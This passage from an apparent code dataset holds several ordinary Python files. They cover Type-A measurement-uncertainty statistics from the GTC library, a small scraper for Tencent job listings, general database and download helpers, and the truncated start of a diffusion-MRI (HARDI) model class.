reduce\r\n\r\ntry:\r\n from itertools import izip # Python 2\r\nexcept ImportError:\r\n izip = zip\r\n xrange = range\r\n\r\nfrom GTC.context import _context \r\n\r\nfrom GTC.lib import (\r\n UncertainReal, \r\n UncertainComplex,\r\n set_correlation_real,\r\n real_ensemble,\r\n complex_ensemble\r\n)\r\n\r\nfrom GTC.named_tuples import (\r\n VarianceCovariance,\r\n StandardUncertainty,\r\n StandardDeviation\r\n)\r\n\r\n__all__ = (\r\n 'estimate',\r\n 'estimate_digitized',\r\n 'multi_estimate_real',\r\n 'multi_estimate_complex',\r\n 'mean',\r\n 'standard_deviation',\r\n 'standard_uncertainty',\r\n 'variance_covariance_complex',\r\n)\r\n\r\n#-----------------------------------------------------------------------------------------\r\ndef _as_value(x):\r\n try:\r\n return x.x \r\n except AttributeError:\r\n return x \r\n \r\n#-----------------------------------------------------------------------------------------\r\ndef estimate_digitized(seq,delta,label=None,truncate=False,context=_context):\r\n \"\"\"\r\n Return an uncertain number for the mean of digitized data\r\n\r\n :arg seq: data\r\n :type seq: float, :class:`~lib.UncertainReal` or :class:`~lib.UncertainComplex`\r\n :arg float delta: digitization step size \r\n :arg str label: label for uncertain number returned\r\n :arg bool truncate: if ``True``, truncation, rather than rounding, is assumed\r\n :rtype: :class:`~lib.UncertainReal` or :class:`~lib.UncertainComplex`\r\n\r\n A sequence of data that has been formatted with fixed precision \r\n can completely conceal a small amount of variability in the original\r\n values, or merely obscure that variability. \r\n \r\n This function recognises the possible interaction between truncation, or rounding,\r\n errors and random errors in the underlying data. The function \r\n obtains the mean of the data sequence and evaluates the uncertainty \r\n in this mean as an estimate of the mean of the process generating \r\n the data. \r\n \r\n Set the argument ``truncate`` to ``True`` \r\n if data have been truncated, instead of rounded.\r\n \r\n See reference: R Willink, *Metrologia*, **44** (2007) 73-81\r\n\r\n **Examples**::\r\n \r\n # LSD = 0.0001, data varies between -0.0055 and -0.0057\r\n >>> seq = (-0.0056,-0.0055,-0.0056,-0.0056,-0.0056, \r\n ... -0.0057,-0.0057,-0.0056,-0.0056,-0.0057,-0.0057)\r\n >>> type_a.estimate_digitized(seq,0.0001)\r\n ureal(-0.005627272727272727,1.9497827808661157e-05,10)\r\n\r\n # LSD = 0.0001, data varies between -0.0056 and -0.0057\r\n >>> seq = (-0.0056,-0.0056,-0.0056,-0.0056,-0.0056,\r\n ... -0.0057,-0.0057,-0.0056,-0.0056,-0.0057,-0.0057)\r\n >>> type_a.estimate_digitized(seq,0.0001)\r\n ureal(-0.005636363636363636,1.5212000482437775e-05,10)\r\n\r\n # LSD = 0.0001, no spread in data values\r\n >>> seq = (-0.0056,-0.0056,-0.0056,-0.0056,-0.0056,\r\n ... -0.0056,-0.0056,-0.0056,-0.0056,-0.0056,-0.0056)\r\n >>> type_a.estimate_digitized(seq,0.0001)\r\n ureal(-0.0056,2.886751345948129e-05,10)\r\n \r\n # LSD = 0.0001, no spread in data values, fewer points\r\n >>> seq = (-0.0056,-0.0056,-0.0056)\r\n >>> type_a.estimate_digitized(seq,0.0001)\r\n ureal(-0.0056,3.291402943021917e-05,2)\r\n \r\n \"\"\"\r\n N = len(seq)\r\n if N < 2:\r\n raise RuntimeError(\r\n \"digitized data sequence must have more than one element\"\r\n )\r\n\r\n try:\r\n seq = [ float(x_i) for x_i in seq ]\r\n except TypeError:\r\n # If not a float then an uncertain number?\r\n seq = [ x_i.x for x_i in seq ]\r\n \r\n x_max = max(seq)\r\n x_min = min(seq)\r\n \r\n mean = math.fsum(seq)/N\r\n \r\n if x_max == x_min:\r\n # No scatter in the data\r\n if N == 2:\r\n root_c_12 = math.sqrt(6.4/12.0)\r\n elif N == 3:\r\n root_c_12 = math.sqrt(1.3/12.0)\r\n elif N >= 4:\r\n root_c_12 = math.sqrt(1.0/12.0)\r\n else:\r\n assert False,\"should not occur\"\r\n \r\n u = root_c_12*delta\r\n else:\r\n accum = lambda psum,x: psum + (x-mean)**2\r\n var = reduce(accum, seq, 0.0) / (N - 1)\r\n\r\n if abs(x_max - x_min - delta) < 10*sys.float_info.epsilon:\r\n # Scatter is LSD only\r\n x_mid = (x_max + x_min)/2.0\r\n u = math.sqrt(\r\n max(var/N,(x_mid - mean)**2/3.0)\r\n )\r\n else:\r\n u = math.sqrt(var/N)\r\n\r\n if truncate:\r\n mean += delta/2.0\r\n \r\n return UncertainReal._elementary(mean,u,N-1,label,independent=True)\r\n \r\n#-----------------------------------------------------------------------------------------\r\ndef estimate(seq,label=None,context=_context):\r\n \"\"\"Return an uncertain number for the mean of the data \r\n\r\n :arg seq: a sequence of data\r\n :arg str label: a label for the returned uncertain number\r\n \r\n :rtype: :class:`~lib.UncertainReal` or :class:`~lib.UncertainComplex`\r\n \r\n The elements of ``seq`` may be real numbers, complex numbers, or\r\n uncertain real or complex numbers. Note that only the value of uncertain \r\n numbers will be used.\r\n\r\n In a type-A evaluation, the sample mean provides an estimate of the \r\n quantity of interest. The uncertainty in this estimate \r\n is the standard deviation of the sample mean (or the \r\n sample covariance of the mean, in the complex case). \r\n \r\n The function returns an :class:`~lib.UncertainReal` when \r\n the mean of the data is real, and an :class:`~lib.UncertainComplex` \r\n when the mean of the data is complex.\r\n\r\n **Examples**::\r\n\r\n >>> data = range(15)\r\n >>> type_a.estimate(data)\r\n ureal(7.0,1.1547005383792515,14)\r\n \r\n >>> data = [(0.91518731126816899+1.5213442955575518j),\r\n ... (0.96572684493613492-0.18547192979059401j),\r\n ... (0.23216598132006649+1.6951311687588568j),\r\n ... (2.1642786101267397+2.2024333895672563j),\r\n ... (1.1812532664590505+0.59062101107787357j),\r\n ... (1.2259264339405165+1.1499373179910186j),\r\n ... (-0.99422341300318684+1.7359338393131392j),\r\n ... (1.2122867690240853+0.32535154897909946j),\r\n ... (2.0122536479379196-0.23283009302603963j),\r\n ... (1.6770229536619197+0.77195994890476838j)]\r\n\r\n >>> type_a.estimate(data)\r\n ucomplex((1.059187840567141+0.9574410497332932j), u=[0.28881665310241805,0.2655555630050262], r=-4.090655272692547, df=9)\r\n\r\n \"\"\"\r\n df = len(seq)-1\r\n mu = mean(seq)\r\n \r\n if isinstance(mu,complex):\r\n u,r = standard_uncertainty(seq,mu)\r\n return UncertainComplex._elementary(\r\n mu,u[0],u[1],r,df,\r\n label,\r\n independent = (r == 0.0)\r\n )\r\n \r\n else:\r\n u = standard_uncertainty(seq,mu)\r\n return UncertainReal._elementary(\r\n mu,u,df,label,independent=True\r\n )\r\n\r\n#-----------------------------------------------------------------------------------------\r\ndef mean(seq):\r\n \"\"\"Return the arithmetic mean of data in ``seq``\r\n\r\n If ``seq`` contains real or uncertain real numbers,\r\n a real number is returned.\r\n\r\n If ``seq`` contains complex or uncertain complex\r\n numbers, a complex number is returned.\r\n \r\n **Example**::\r\n\r\n >>> data = range(15)\r\n >>> type_a.mean(data)\r\n 7.0\r\n \r\n \"\"\"\r\n mu = sum(seq) / len(seq)\r\n if isinstance(mu,(numbers.Real,UncertainReal) ):\r\n return _as_value(mu)\r\n elif isinstance(mu,(numbers.Complex,UncertainComplex)):\r\n return _as_value(mu)\r\n else:\r\n raise TypeError(\r\n \"Unexpected type: '%s'\" % repr(mu)\r\n )\r\n\r\n#-----------------------------------------------------------------------------------------\r\ndef standard_deviation(seq,mu=None):\r\n \"\"\"Return the sample standard deviation\r\n \r\n :arg seq: sequence of data\r\n :arg mu: the arithmetic mean of ``seq``\r\n \r\n If ``seq`` contains real or uncertain real numbers, \r\n the sample standard deviation is returned.\r\n \r\n If ``seq`` contains complex or uncertain complex\r\n numbers, the standard deviation in the real and\r\n imaginary components is evaluated, as well as\r\n the correlation coefficient between the components.\r\n The results are returned in a pair of objects: a\r\n :obj:`~named_tuples.StandardDeviation` namedtuple \r\n and a correlation coefficient. \r\n\r\n Only the values of uncertain numbers are used in calculations. \r\n \r\n **Examples**::\r\n\r\n >>> data = range(15)\r\n >>> type_a.standard_deviation(data)\r\n 4.47213595499958\r\n\r\n >>> data = [(0.91518731126816899+1.5213442955575518j),\r\n ... (0.96572684493613492-0.18547192979059401j),\r\n ... (0.23216598132006649+1.6951311687588568j),\r\n ... (2.1642786101267397+2.2024333895672563j),\r\n ... (1.1812532664590505+0.59062101107787357j),\r\n ... (1.2259264339405165+1.1499373179910186j),\r\n ... (-0.99422341300318684+1.7359338393131392j),\r\n ... (1.2122867690240853+0.32535154897909946j),\r\n ... (2.0122536479379196-0.23283009302603963j),\r\n ... (1.6770229536619197+0.77195994890476838j)]\r\n >>> sd,r = type_a.standard_deviation(data)\r\n >>> sd\r\n StandardDeviation(real=0.913318449990377, imag=0.8397604244242309)\r\n >>> r\r\n -0.31374045124595246\r\n \r\n \"\"\"\r\n N = len(seq)\r\n \r\n if mu is None:\r\n mu = mean(seq)\r\n\r\n # `mean` returns either a real or complex\r\n if isinstance(mu,numbers.Real):\r\n accum = lambda psum,x: psum + (_as_value(x)-mu)**2\r\n variance = reduce(accum, seq, 0.0) / (N - 1)\r\n \r\n return math.sqrt( variance )\r\n \r\n elif isinstance(mu,numbers.Complex):\r\n cv_11,cv_12,cv_12,cv_22 = variance_covariance_complex(seq,mu)\r\n\r\n sd_re = math.sqrt(cv_11)\r\n sd_im = math.sqrt(cv_22)\r\n\r\n den = sd_re * sd_im\r\n \r\n if den == 0.0: \r\n if cv_12 != 0.0 :\r\n raise RuntimeError(\r\n \"numerical instability in covariance calculation\"\r\n )\r\n else:\r\n r = 0.0\r\n else:\r\n r = cv_12 / den\r\n \r\n return StandardDeviation(sd_re,sd_im), r\r\n \r\n else:\r\n assert False,\"unexpected\"\r\n\r\n#-----------------------------------------------------------------------------------------\r\ndef standard_uncertainty(seq,mu=None):\r\n \"\"\"Return the standard uncertainty of the sample mean\r\n\r\n :arg seq: sequence of data\r\n :arg mu: the arithmetic mean of ``seq``\r\n \r\n :rtype: float or :obj:`~named_tuples.StandardUncertainty`\r\n \r\n If ``seq`` contains real or uncertain real numbers,\r\n the standard uncertainty of the sample mean \r\n is returned.\r\n\r\n If ``seq`` contains complex or uncertain complex\r\n numbers, the standard uncertainties of the real and\r\n imaginary components are evaluated, as well as the\r\n sample correlation coefficient are returned in a\r\n :obj:`~named_tuples.StandardUncertainty` namedtuple\r\n\r\n Only the values of uncertain numbers are used in calculations. \r\n\r\n **Example**::\r\n\r\n >>> data = range(15)\r\n >>> type_a.standard_uncertainty(data)\r\n 1.1547005383792515\r\n\r\n >>> data = [(0.91518731126816899+1.5213442955575518j),\r\n ... (0.96572684493613492-0.18547192979059401j),\r\n ... (0.23216598132006649+1.6951311687588568j),\r\n ... (2.1642786101267397+2.2024333895672563j),\r\n ... (1.1812532664590505+0.59062101107787357j),\r\n ... (1.2259264339405165+1.1499373179910186j),\r\n ... (-0.99422341300318684+1.7359338393131392j),\r\n ... (1.2122867690240853+0.32535154897909946j),\r\n ... (2.0122536479379196-0.23283009302603963j),\r\n ... (1.6770229536619197+0.77195994890476838j)]\r\n >>> u,r = type_a.standard_uncertainty(data)\r\n >>> u\r\n StandardUncertainty(real=0.28881665310241805, imag=0.2655555630050262)\r\n >>> u.real\r\n 0.28881665310241805\r\n >>> r\r\n -0.31374045124595246\r\n\r\n \"\"\"\r\n ROOT_N = math.sqrt(len(seq))\r\n \r\n if mu is None:\r\n mu = mean(seq)\r\n\r\n if isinstance(mu,numbers.Real):\r\n sd = standard_deviation(seq,mu)\r\n return sd / ROOT_N \r\n \r\n elif isinstance(mu,numbers.Complex):\r\n sd,r = standard_deviation(seq,mu)\r\n return StandardUncertainty(sd.real/ROOT_N,sd.imag/ROOT_N),r\r\n \r\n else:\r\n assert False,\"unexpected, mu={!r}\".format(mu)\r\n\r\n#-----------------------------------------------------------------------------------------\r\ndef variance_covariance_complex(seq,mu=None):\r\n \"\"\"Return the sample variance-covariance matrix\r\n\r\n :arg seq: sequence of data \r\n :arg mu: the arithmetic mean of ``seq``\r\n\r\n :returns: a 4-element sequence\r\n\r\n If ``mu`` is ``None`` the mean will be evaluated \r\n by :func:`~type_a.mean`.\r\n\r\n ``seq`` may contain numbers or uncertain numbers.\r\n Only the values of uncertain numbers are used in calculations. \r\n \r\n Variance-covariance matrix elements are returned \r\n in a :obj:`~named_tuples.VarianceCovariance` namedtuple; \r\n they can be accessed using the \r\n attributes ``.rr``, ``.ri``, ``,ir`` and ``.ii``.\r\n \r\n **Example**::\r\n \r\n >>> data = [(0.91518731126816899+1.5213442955575518j),\r\n ... (0.96572684493613492-0.18547192979059401j),\r\n ... (0.23216598132006649+1.6951311687588568j),\r\n ... (2.1642786101267397+2.2024333895672563j),\r\n ... (1.1812532664590505+0.59062101107787357j),\r\n ... (1.2259264339405165+1.1499373179910186j),\r\n ... (-0.99422341300318684+1.7359338393131392j),\r\n ... (1.2122867690240853+0.32535154897909946j),\r\n ... (2.0122536479379196-0.23283009302603963j),\r\n ... (1.6770229536619197+0.77195994890476838j)]\r\n >>> type_a.variance_covariance_complex(data)\r\n VarianceCovariance(rr=0.8341505910928249, ri=-0.24062910264062262, ir=-0.24062910264062262, ii=0.7051975704291644)\r\n\r\n >>> v = type_a.variance_covariance_complex(data)\r\n >>> v[0]\r\n 0.8341505910928249\r\n >>> v.rr\r\n 0.8341505910928249\r\n >>> v.ii\r\n 0.7051975704291644\r\n\r\n \"\"\"\r\n N = len(seq)\r\n \r\n zseq = [ _as_value(x) for x in seq ]\r\n \r\n if mu is None:\r\n mu = mean(zseq) \r\n else:\r\n mu = complex( mu )\r\n\r\n \r\n accum_vr = lambda psum,z: psum + (z.real - mu.real)**2\r\n accum_vi = lambda psum,z: psum + (z.imag - mu.imag)**2\r\n accum_cv = lambda psum,z: psum + (z.imag - mu.imag)*(z.real - mu.real)\r\n \r\n cv_11 = reduce(accum_vr,zseq,0.0) / (N-1) \r\n cv_22 = reduce(accum_vi,zseq,0.0) / (N-1)\r\n cv_12 = reduce(accum_cv,zseq,0.0) / (N-1)\r\n\r\n return VarianceCovariance(cv_11,cv_12,cv_12,cv_22)\r\n\r\n#-----------------------------------------------------------------------------------------\r\ndef multi_estimate_real(seq_of_seq,labels=None):\r\n \"\"\"Return a sequence of uncertain real numbers \r\n\r\n :arg seq_of_seq: a sequence of sequences of data\r\n :arg labels: a sequence of `str` labels \r\n \r\n :rtype: seq of :class:`~lib.UncertainReal`\r\n\r\n The sequences in ``seq_of_seq`` must all be the same length.\r\n Each sequence is associated with a particular quantity and contains \r\n a sample of data. An uncertain number for the quantity will be created \r\n using the sample of data, using sample statistics. The covariance \r\n between different quantities will also be evaluated from the data.\r\n \r\n A sequence of elementary uncertain numbers are returned. The uncertain numbers \r\n are considered related, allowing a degrees-of-freedom calculations \r\n to be performed on derived quantities. \r\n\r\n **Example**::\r\n \r\n # From Appendix H2 in the GUM\r\n \r\n >>> V = [5.007,4.994,5.005,4.990,4.999]\r\n >>> I = [19.663E-3,19.639E-3,19.640E-3,19.685E-3,19.678E-3]\r\n >>> phi = [1.0456,1.0438,1.0468,1.0428,1.0433]\r\n >>> v,i,p = type_a.multi_estimate_real((V,I,phi),labels=('V','I','phi'))\r\n >>> v\r\n ureal(4.999,0.0032093613071761794,4, label='V')\r\n >>> i\r\n ureal(0.019661,9.471008394041335e-06,4, label='I')\r\n >>> p\r\n ureal(1.04446,0.0007520638270785368,4, label='phi')\r\n \r\n >>> r = v/i*cos(p)\r\n >>> r\r\n ureal(127.73216992810208,0.0710714073969954,4.0)\r\n \r\n \"\"\"\r\n M = len(seq_of_seq)\r\n N = len(seq_of_seq[0])\r\n \r\n if labels is not None and len(labels) != M:\r\n raise RuntimeError(\r\n \"Incorrect number of labels: '{!r}'\".format(labels) \r\n ) \r\n \r\n # Calculate the deviations from the mean for each sequence\r\n means = [ ]\r\n dev = []\r\n for i,seq_i in enumerate(seq_of_seq):\r\n if len(seq_i) != N:\r\n raise RuntimeError( \"{:d}th sequence length inconsistent\".format(i) )\r\n\r\n mu_i = math.fsum(seq_i) / N\r\n means.append( mu_i )\r\n dev.append([ float(x_j)-mu_i for x_j in seq_i])\r\n\r\n # calculate the covariance matrix\r\n N_N_1 = N*(N-1)\r\n u = []\r\n cv = [] # M elements of len M-1, M-2, ...\r\n for i,seq_i in enumerate(dev):\r\n u_i = math.sqrt(\r\n math.fsum(d_i**2 for d_i in seq_i)/N_N_1\r\n )\r\n u.append(u_i)\r\n cv.append([])\r\n for seq_j in dev[i+1:]:\r\n cv[i].append(\r\n math.fsum(\r\n d_i*d_j\r\n for d_i,d_j in izip(seq_i,seq_j)\r\n )/N_N_1\r\n )\r\n\r\n ureal = UncertainReal._elementary\r\n\r\n # Create a list of elementary uncertain numbers\r\n # to return a list of standard uncertainties\r\n # to normalise the CV matrix.\r\n df = N-1\r\n rtn = []\r\n for i in xrange(M):\r\n mu_i = means[i]\r\n u_i = u[i]\r\n l_i = labels[i] if labels is not None else \"\"\r\n rtn.append( ureal(mu_i,u_i,df,l_i,independent=False) )\r\n\r\n # Create the list of ensemble id's,\r\n # assign it to the register in the context,\r\n # set the correlation between nodes\r\n real_ensemble( rtn, df )\r\n \r\n for i in xrange(M):\r\n u_i = u[i]\r\n un_i = rtn[i]\r\n \r\n for j in xrange(M-1-i):\r\n cv_ij = cv[i][j]\r\n if cv_ij != 0.0:\r\n r = cv_ij / (u_i*u[i+j+1])\r\n un_j = rtn[i+j+1]\r\n set_correlation_real(un_i,un_j,r)\r\n\r\n return rtn\r\n\r\n#-----------------------------------------------------------------------------------------\r\ndef multi_estimate_complex(seq_of_seq,labels=None,context=_context):\r\n \"\"\"\r\n Return a sequence of uncertain complex numbers\r\n\r\n :arg seq_of_seq: a sequence of sequences of data\r\n :arg labels: a sequence of `str` labels\r\n \r\n :rtype: a sequence of :class:`~lib.UncertainComplex`\r\n \r\n The sequences in ``seq_of_seq`` must all be the same length.\r\n Each sequence contains a sample of data that is associated with \r\n a particular quantity. An uncertain number for the quantity will \r\n be created using this data from sample statistics. The covariance \r\n between different quantities will also be evaluated from the data.\r\n \r\n A sequence of elementary uncertain complex numbers are returned. These \r\n uncertain numbers are considered related, allowing a degrees-of-freedom \r\n calculations to be performed on derived quantities. \r\n \r\n Defines uncertain numbers using the sample statistics, including\r\n the sample covariance. \r\n\r\n **Example**::\r\n \r\n # From Appendix H2 in the GUM\r\n \r\n >>> I = [ complex(x) for x in (19.663E-3,19.639E-3,19.640E-3,19.685E-3,19.678E-3) ]\r\n >>> V = [ complex(x) for x in (5.007,4.994,5.005,4.990,4.999)]\r\n >>> P = [ complex(0,p) for p in (1.0456,1.0438,1.0468,1.0428,1.0433) ]\r\n\r\n >>> v,i,p = type_a.multi_estimate_complex( (V,I,P) )\r\n\r\n >>> get_correlation(v.real,i.real)\r\n -0.355311219817512\r\n\r\n >>> z = v/i*exp(p)\r\n >>> z.real\r\n ureal(127.73216992810208,0.0710714073969954,4.0)\r\n >>> get_correlation(z.real,z.imag)\r\n -0.5884297844235157\r\n \r\n \"\"\"\r\n M = len(seq_of_seq)\r\n N = len(seq_of_seq[0])\r\n \r\n if labels is not None and len(labels) != M:\r\n raise RuntimeError( \r\n \"Incorrect number of labels: '{!r}'\".format(labels) \r\n ) \r\n\r\n # 1. Create a 2M sequence of sequences of real values\r\n x = []\r\n for i in xrange(M):\r\n x.append( [ float(z_i.real) for z_i in seq_of_seq[i] ] )\r\n x.append( [ float(z_i.imag) for z_i in seq_of_seq[i] ] )\r\n if len(x[-1]) != N:\r\n raise RuntimeError(\r\n \"{:d}th sequence length is incorrect\".format(i)\r\n )\r\n\r\n TWOM = 2*M\r\n N_1 = N-1\r\n N_N_1 = N*N_1\r\n\r\n # 2. Evaluate the means and uncertainties (keep the deviation sequences)\r\n x_mean = [ math.fsum(seq_i) / N for seq_i in x ]\r\n x_u = []\r\n for i in xrange(TWOM):\r\n mu_i = x_mean[i]\r\n x[i] = [ mu_i - x_ij for x_ij in x[i] ]\r\n x_u.append(\r\n math.sqrt(\r\n math.fsum( x_ij**2 for x_ij in x[i] )/N_N_1\r\n )\r\n )\r\n # 3. Define uncertain M complex numbers\r\n ucomplex = UncertainComplex._elementary\r\n\r\n x_influences = []\r\n rtn = []\r\n for i in xrange(M):\r\n j = 2*i\r\n uc = ucomplex(\r\n complex(x_mean[j],x_mean[j+1]),\r\n x_u[j],x_u[j+1],0.0,\r\n N_1,\r\n labels[i] if labels is not None else None,\r\n independent=False\r\n )\r\n rtn.append( uc )\r\n x_influences.extend( (uc.real,uc.imag) )\r\n \r\n\r\n # 4. Calculate covariances and set correlation coefficients\r\n for i in xrange(TWOM-1):\r\n x_i = x[i]\r\n un_i = x_influences[i]\r\n for j in xrange(i+1,TWOM):\r\n x_j = x[j]\r\n cv = math.fsum( \r\n d_i*d_j for d_i,d_j in izip(x_i,x_j)\r\n )/N_N_1\r\n if cv != 0.0:\r\n r = cv/(x_u[i]*x_u[j]) \r\n set_correlation_real(un_i,x_influences[j],r)\r\n\r\n complex_ensemble( rtn, N_1 )\r\n \r\n return rtn\r\n\r\n#============================================================================ \r\nif __name__ == \"__main__\":\r\n import doctest\r\n from GTC import * \r\n doctest.testmod( optionflags=doctest.NORMALIZE_WHITESPACE )\r\n\r\n \r\n","sub_path":"GTC/type_a.py","file_name":"type_a.py","file_ext":"py","file_size_in_byte":23950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"285641582","text":"# http://hr.tencent.com/position.php?&start=10#a\n\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef main():\n url = \"http://hr.tencent.com/position.php?&start=10#a\"\n headers = {\n \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"accept-language\": \"zH-Cn,zh;q=0.9\",\n \"cache-control\": \"max-age=0\",\n \"connection\": \"keep-alive\",\n \"cookie\": \"PHPSESSId=f838p1k61v5q1o1u4a01310rg7; pgv_pvi=7488512000; pgv_si=s7002374144\",\n \"host\": \"hr.tencent.com\",\n \"upgrade-insecure-requests\": \"1\",\n \"user-agent\": \"mozilla/5.0 (windowS NT 10.0; win64; x64) appLewEbkit/537.36 (KHTML, likE gecko) chrome/67.0.3396.99 safari/537.36\",\n }\n\n res = requests.get(url,headers=headers)\n\n soup = BeautifulSoup(res.text,'lxml')\n odd_lst = soup.select('tr[class=\"odd\"]')\n even_lst = soup.select('tr[class=\"even\"]')\n odd_lst.extend(even_lst)\n\n zhaopin_info = []\n\n for i in odd_lst:\n item = {}\n name = i.td.a.string\n category = i.find_all('td')[1].string\n num = i.select('td')[2].string\n addr = i.select(\"td\")[3].get_text()\n time = i.select(\"td\")[4].get_text()\n\n item['name'] = name\n item['category'] = category\n item['num'] = num\n item['addr'] = addr\n item['time'] = time\n\n zhaopin_info.append(item)\n\n with open(\"zhaopin_info.txt\",\"w\") as f:\n f.write(str(zhaopin_info))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"0706/test01_tencent社招抓取首页招聘信息.py","file_name":"test01_tencent社招抓取首页招聘信息.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"505735716","text":"#import MySQLdb\nfrom sqlalchemy import create_engine\nimport csv\nimport string\nimport re,os,random,string,codecs\nimport requests\nfrom clint.textui import progress\nfrom itertools import (takewhile,repeat)\n\ndef chunks(l,n):\n '''Yield successive n-sized chunks from l. Useful for multi-processing'''\n chunk_list =[]\n for i in range(0, len(l), n):\n chunk_list.append(l[i:i + n])\n return chunk_list\n\ndef connect_to_db(host, username, password, database,server_side_cursors=False):\n engine = create_engine('mysql+mysqldb://{}:{}@{}/{}?charset=utf8mb4'.format(username, password, host, database ), encoding='utf-8', pool_size=30, max_overflow=0, server_side_cursors=server_side_cursors )\n return engine\n\ndef send_slack_notification(message, slack_client, slack_channel, section=\"DB Update\", level=\"info\"):\n color_map = {\"info\": \"#6699cc\", \"success\": \"#aad922\", \"warning\": \"#FFFF00\", \"error\": \"#d62828\"}\n print(color_map[level])\n return slack_client.api_call(\n \"chat.postMessage\",\n channel=slack_channel,\n text=section,\n attachments=[\n {\n \"color\": color_map[level],\n \"text\": message\n }\n ]\n )\n\ndef id_generator(size=25, chars=string.ascii_lowercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\ndef write_csv(rows, outputdir, filename):\n \"\"\" Write a list of lists to a csv file \"\"\"\n print(outputdir)\n print(os.path.join(outputdir, filename))\n writer = csv.writer(open(os.path.join(outputdir, filename), 'w',encoding='utf-8'))\n writer.writerows(rows)\n\ndef download(url, filepath):\n \"\"\" Download data from a URL with a handy progress bar \"\"\"\n\n print(\"Downloading: {}\".format(url))\n r = requests.get(url, stream=True)\n\n with open(filepath, 'wb') as f:\n content_length = int(r.headers.get('content-length'))\n for chunk in progress.bar(r.iter_content(chunk_size=1024),\n expected_size=(content_length/1024) + 1):\n if chunk:\n f.write(chunk)\n f.flush()\n\n\ndef get_patent_ids(db_con, new_db):\n\n patent_data = db_con.execute('select id, number from {}.patent'.format(new_db))\n patnums = {}\n for patent in patent_data:\n patnums[patent['number']] = patent['id']\n return set(patnums.keys()), patnums\n\n\ndef better_title(text):\n title = \" \".join([item if item not in [\"Of\", \"The\", \"For\", \"And\", \"On\"] else item.lower() for item in str(text).title().split( )])\n return re.sub('['+string.punctuation+']', '', title)\n\n\n# REQUIRES: a table's column info from information schema and table prefix for join statement\n# MODIFIES: nothing\n# EFFECTS: returns string statements for create, insert, and select components \n# in order to build query for a table \ndef get_column_info(table_col_info, table_prefix):\n \n column_data =[item for item in table_col_info]\n \n # create cols string for create, insert, and select statements for 1) rawinventor \n table_cols_create_stmt = [item[0] + ' ' + item[1] for item in column_data]\n table_cols_create_str = ', '.join(table_cols_create_stmt)\n \n table_cols_insert_stmt = [item[0] for item in column_data]\n table_cols_insert_str = ', '.join(table_cols_insert_stmt)\n \n table_cols_select_stmt = [table_prefix + item for item in table_cols_insert_stmt]\n table_cols_select_str = ', '.join(table_cols_select_stmt)\n \n return table_cols_create_str, table_cols_insert_str, table_cols_select_str\n \n# REQUIRES: two table component strings\n# MODIFIES: nothing\n# EFFECTS: returns full string column component \ndef get_full_column_strings(table1_str, table2_str):\n \n full_cols_str = table1_str + ',' + table2_str\n \n return full_cols_str\n\n\n\n\n\ndef rawbigcount(filename):\n f = open(filename, 'rb')\n bufgen = takewhile(lambda x: x, (f.raw.read(1024*1024) for _ in repeat(None)))\n return sum( buf.count(b'\\n') for buf in bufgen if buf )\n","sub_path":"Development/helpers/general_helpers.py","file_name":"general_helpers.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"443783341","text":"\nimport logging\nimport numpy as np\nimport cvxpy as cvx\n\nfrom opymize import Variable\nfrom opymize.functionals import SplitSum, SSD, PositivityFct, \\\n ZeroFct, IndicatorFct, L1Norms\nfrom opymize.linear import BlockOp, ScaleOp, GradientOp, \\\n MatrixMultR, DiagMatrixMultR\n\nfrom qball.models import ModelHARDI_SHM\nfrom qball.tools.cvx import cvxVariable, sparse_div_op, cvxOp\nfrom qball.operators.bndl1 import MaxFct\n\n# TODO: inpaint mask\n\nclass Model(ModelHARDI_SHM):\n name = \"sh_bndl1_tvc\"\n\n def __init__(self, *args, conf_lvl=0.9, **kwargs):\n ModelHARDI_SHM.__init__(self, *args, **kwargs)\n\n c = self.constvars\n imagedims = c['imagedims']\n n_image = c['n_image']\n d_image = c['d_image']\n l_labels = c['l_labels']\n l_shm = c['l_shm']\n\n self.data.init_bounds(conf_lvl)\n _, f1, f2 = self.data.bounds\n c['f1'], c['f2'] = [np.array(a.T, order='C') for a in [f1,f2]]\n\n self.x = Variable(\n ('u1', (n_image, l_labels)),\n ('u2', (n_image, l_labels)),\n ('v', (n_image, l_shm)),\n )\n\n self.y = Variable(\n ('p', (n_image, d_image, l_shm)),\n ('q0', (n_image,)),\n ('q1', (n_image, l_labels)),\n ('q2', (n_image, l_labels)),\n ('q3', (n_image, l_labels)),\n ('q4', (n_image, l_labels)),\n )\n\n # start with a uniform distribution in each voxel\n self.state = (self.x.new(), self.y.new())\n u1k, u2k, vk = self.x.vars(self.state[0])\n u1k[:] = 1.0/np.einsum('k->', c['b'])\n vk[:,0] = .5 / np.sqrt(np.pi)\n\n def setup_solver_pdhg(self):\n x, y = self.x.vars(named=True), self.y.vars(named=True)\n c = self.constvars\n imagedims = c['imagedims']\n n_image = c['n_image']\n d_image = c['d_image']\n l_labels = c['l_labels']\n l_shm = c['l_shm']\n\n self.pdhg_G = SplitSum([\n PositivityFct(x['u1']['size']), # \\delta_{u1 >= 0}\n ZeroFct(x['u1']['size']), # 0\n ZeroFct(x['v']['size']) # 0\n ])\n\n GradOp = GradientOp(imagedims, l_shm)\n\n bMult = MatrixMultR(n_image, c['b_precond']*c['b'][:,None])\n YMult = MatrixMultR(n_image, c['Y'], trans=True)\n YMMult = MatrixMultR(n_image, c['YM'], trans=True)\n\n m_u = ScaleOp(x['u1']['size'], -1)\n\n dbMult = DiagMatrixMultR(n_image, c['b'])\n mdbMult = DiagMatrixMultR(n_image, -c['b'])\n\n self.pdhg_linop = BlockOp([\n [ 0, 0, GradOp], # p = Dv\n [bMult, 0, 0], # q0 = \n [ m_u, 0, YMult], # q1 = Yv - u1\n [ 0, m_u, YMMult], # q2 = YMv - u2\n [ 0, mdbMult, 0], # q3 = -diag(b) u2\n [ 0, dbMult, 0] # q4 = diag(b) u2\n ])\n\n l1norms = L1Norms(n_image, (d_image, l_shm), c['lbd'], \"frobenius\")\n LowerBoundFct = MaxFct(np.einsum('ik,k->ik', c['f1'], -c['b']))\n UpperBoundFct = 